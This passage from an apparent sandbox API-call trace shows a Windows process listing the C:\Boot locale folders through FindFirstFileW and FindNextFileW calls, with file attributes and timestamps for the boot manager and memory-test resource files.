hFindFile=0x4260690, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0088.140] FindClose (in: hFindFile=0x4260690 | out: hFindFile=0x4260690) returned 1 [0088.140] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0088.140] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0088.140] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0088.140] FindFirstFileW (in: lpFileName="C:\\Boot\\lv-LV\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260190 [0088.141] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.141] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12758, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0088.141] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12758, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0088.141] FindClose (in: hFindFile=0x4260190 | out: hFindFile=0x4260190) returned 1 [0088.141] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0088.141] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6196d8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbcf473f, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xc63a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0088.141] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0088.142] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0088.142] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260250 [0088.142] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.143] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211543da, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0088.143] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef62cf52, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0088.143] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef62cf52, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0088.143] FindClose (in: hFindFile=0x4260250 | out: hFindFile=0x4260250) returned 1 [0088.143] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0088.143] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0088.143] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0088.143] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260250 [0088.144] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.144] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211543da, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13160, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0088.144] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6407cf, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0088.144] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6407cf, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0088.144] FindClose (in: hFindFile=0x4260250 | out: hFindFile=0x4260250) returned 1 [0088.144] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0088.144] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0088.145] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0088.145] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260410 [0088.149] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.149] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0088.149] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0088.149] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0088.149] FindClose (in: hFindFile=0x4260410 | out: hFindFile=0x4260410) returned 1 [0088.149] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0088.149] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0088.149] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0088.150] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260410 [0088.150] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.150] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0088.151] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65dc94, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0088.151] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65dc94, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0088.151] FindClose (in: hFindFile=0x4260410 | out: hFindFile=0x4260410) returned 1 [0088.151] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0088.151] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0088.151] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0088.151] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260190 [0088.152] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.152] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0088.152] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6714dc, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0088.152] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6714dc, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0088.152] FindClose (in: hFindFile=0x4260190 | out: hFindFile=0x4260190) returned 1 [0088.153] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0088.153] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="qps-ploc", cAlternateFileName="")) returned 1 [0088.153] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0088.153] FindFirstFileW (in: lpFileName="C:\\Boot\\qps-ploc\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260410 [0088.153] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.153] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12160, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0088.153] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef684d85, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbd1a998, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xd398, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0088.154] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef684d85, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbd1a998, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xd398, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0088.154] FindClose 